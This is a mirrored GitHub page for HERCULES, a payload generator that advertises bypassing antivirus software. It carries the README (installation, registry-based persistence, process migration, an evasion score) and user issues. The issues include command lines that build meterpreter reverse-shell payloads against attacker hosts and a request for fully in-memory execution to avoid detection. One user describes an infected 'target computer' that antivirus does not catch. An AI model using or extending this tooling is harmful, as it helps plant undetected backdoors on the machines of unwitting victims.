GithubHelp home page GithubHelp logo

egebalci / hercules Goto Github PK

View Code? Open in Web Editor NEW
594.0 61.0 157.0 23.76 MB

HERCULES is a special payload generator that can bypass antivirus softwares.

License: MIT License

Go 99.91% Shell 0.09%
hercules bypass-antivirus payload reverse-shell malware meterpreter hacking golang

hercules's Introduction

HERCULES License Support Golang

HERCULES is a customizable payload generator that can bypass antivirus software.

	VERSION 3.0.5

#INSTALLATION

SUPPORTED PLATFORMS:

Operative system Version
Ubuntu 16.04 / 15.10
Kali linux Rolling / Sana
Manjaro *
Arch Linux *
Black Arch *
Parrot OS 3.1
    go get github.com/fatih/color
	go run Setup.go

WARNING: Don't change the location of the HERCULES folder.

#USAGE

	HERCULES

#SPECIAL FUNCTIONS

	Persistence : Persistence function adds the running binary to windows start-up registry (CurrentVersion/Run) for continuous access.
	
	Migration : This function triggers a loop that tries to migrate to a remote process until it is successfully migrated. 

#WHAT IS UPX ?

	UPX (Ultimate Packer for Executables) is a free and open source executable packer supporting a number of file formats from different operating systems. UPX simply takes the binary file and compresses it, packed binary unpack(decompress) itself at runtime to memory.

#WHAT IS "AV EVASION SCORE" ?

	AV Evasion Score is a scale(1/10) for determining the effectiveness of the payloads anti virus bypassing capabilities, 1 represents low possibility to pass AV softwares.
	
	Using special functions and packing the payloads with upx decreases the AV Evasion Score.

Bitcoin: 16GvMV7eZH22p4rLQuu8h2gbgSLYr11KBM

hercules's People

Contributors

cydoor avatar egebalci avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

hercules's Issues

Missing DNS support

Hi,

I tried to compile the payload using a DNS address but it returns me an 'Invalid IP address' error.
I launched the following command: ./HERCULES example.mydns.net 443 -p windows/meterpreter/reverse_tcp_dns -a x86 -l dynamic

payload isnot working

I created a payload as the following image
screenshot from 2016-06-08 12-17-51

Then I began the nc -l mood
screenshot from 2016-06-08 12-18-03

Then I execute the payload.exe on X86 windows 7
screenshot from 2016-06-08 12-18-30

The result is:
screenshot from 2016-06-08 12-18-14

And I didnt receive any thing on port 4444

/bin/HERCULES: línea 4: cd: SOURCE: No existe el fichero o el directorio

Error:
-> # HERCULES
/bin/HERCULES: línea 4: cd: SOURCE: No existe el fichero o el directorio
/bin/HERCULES: línea 5: ./HERCULES: No existe el fichero o el directorio

-> # ./HERCULES
./HERCULES: línea 4: cd: SOURCE: No existe el fichero o el directorio
./HERCULES: línea 5: ./HERCULES: No existe el fichero o el directorio

-> # /bin/HERCULES
/bin/HERCULES: línea 4: cd: SOURCE: No existe el fichero o el directorio
/bin/HERCULES: línea 5: ./HERCULES: No existe el fichero o el directorio

-> # nano /bin/HERCULES
#!/bin/bash
cd $HERCULES_PATH
cd SOURCE
./HERCULES

-> HERCULES_PATH=/root/Pentester/HERCULES

-> nano /root/Pentester/HERCULES
#!/bin/bash
cd $HERCULES_PATH
cd SOURCE
./HERCULES

Capture 1: https://ibin.co/w800/3EXvzR4v5xDR.png
Capture 2: https://ibin.co/3EXwInFDplKf.png

DNS payload problem

hey man i can't make dns payload with my ni-ip host fix it please ..thanks

Opens again and again on target pc on command prompt

Hercules opens again and again on target computer and crash it down.How can i remove it from my own target computer.After every restart,It is automatically running and hundred's of command prompts open into my target computer.How can I remove it ......??? Anti virus is not detecting it.What should I do now....Dude.

[!] ERROR : Compile failed

[*] Compiling payload...

[*] export GOOS=windows && export GOARCH=386 && export GOPATH=$HERCULES_PATH && go build -ldflags "-H windowsgui -s -w" hack.go

command-line-arguments

./hack.go:7: imported and not used: "EGESPLOIT/RSE"

[!] ERROR : Compile failed

[Feature Request] Hash Checking

Can you add the option to check the payload hash through VirusTotal, NoDistribute and others to see if the payload has been uploaded and scanned, like Veil-Evasion has.
Thanks

payload options aren't implemented yet?

I just wonder if the payload options are implemented or not .. cos I tried to execute this command

HERCULES 192.168.21.168 4444 -a x86 --persistence -l dynamic -p METERPRETER -A "192.168.21.168:4444"

And the result is
screenshot from 2016-06-08 11-39-31

GO GET ERROR plz halp meh

so duudee i have this GO problemo when i typo= go get github.com/fatih/color I get an error like deez= package github.com/fatih/color: cannot download, $GOPATH not set. For more details see: go help gopath

anddd when i try to run deez=go run Setup.go
I get an error like deez=Setup.go:6:8: cannot find package "github.com/fatih/color" in any of:
/usr/lib/go-1.7/src/github.com/fatih/color (from $GOROOT)
($GOPATH not set)

But keep dah good work and sorry for my bad london very bad london

Request: Enhanced Evasion Idea

Can u add support for complete memory integration. For example, can you get the payload to load and run completely in memory and not right any thing to disk, and start up using the registry.

As this would greatly help to evade detection, by creating less of a footprint and have less for the AV to scan additionally, lots of AV don’t scan memory or registry.

Thanks

"package github.com/fatih/color: cannot download, $GOPATH not set. For more details see: go help gopath" Error!

Hi, I get this error after running the following command: "go get github.com/fatih/color"

The error is: "package github.com/fatih/color: cannot download, $GOPATH not set. For more details see: go help gopath".

How can I overcome this issue ?

Note: I didn't change the location of the HERCULES folder, just cloned it, accessed it and tried that command. I am using the very last updated kali linux 64-bit.

Error Launching HERCULES

`
┌─[root@parrot]─[/home/tugdual/HERCULES]

└──╼ #HERCULES
/bin/HERCULES: ligne 4 : cd: SOURCE: Aucun fichier ou dossier de ce type #in english : No files or folders of this type
/bin/HERCULES: ligne 5: ./HERCULES: Aucun fichier ou dossier de ce type #same
`

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.